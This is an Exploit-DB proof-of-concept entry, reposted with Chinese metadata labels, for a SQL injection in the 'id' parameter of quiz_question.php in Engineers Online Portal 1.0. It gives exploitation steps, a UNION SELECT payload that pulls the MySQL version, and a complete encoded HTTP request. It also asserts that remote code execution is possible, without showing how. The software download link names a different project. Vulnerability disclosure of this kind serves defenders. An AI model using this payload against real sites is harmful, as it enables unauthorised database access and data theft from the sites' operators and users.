Engineers Online Portal 1.0 – ‘id’ SQL Injection

  • 作者: Alon Leviev
    日期: 2021-10-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50453/
  • # Exploit Title: Engineers Online Portal 1.0 - 'id' SQL Injection 
    # Exploit Author: Alon Leviev
    # Date: 22-10-2021
    # Category: Web application
    # Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip
    # Version: 1.0
    # Tested on: Kali Linux 
    # Vulnerable page: quiz_question.php
    # Vulnerable Parameter: "id"
    
    Technical description:
    An SQL Injection vulnerability exists in the Engineers Online Portal. An attacker can leverage the vulnerable "id" parameter in the "quiz_question.php" web page in order to manipulate the sql query performed.
    As a result he can extract sensitive data from the web server and in some cases he can use this vulnerability in order to get a remote code execution on the remote web server. 
    
    Steps to exploit:
    1) Navigate to http://localhost/nia_munoz_monitoring_system/quiz_question.php
    2) Insert your payload in the id parameter
    
    Proof of concept (Poc):
    The following payload will allow you to extract the MySql server version running on the web server -
    ' union select NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL;-- -
    
    ---
    
    GET /nia_munoz_monitoring_system/quiz_question.php?id=3%27%20union%20select%20NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL--%20- HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
    Upgrade-Insecure-Requests: 1
    
    ---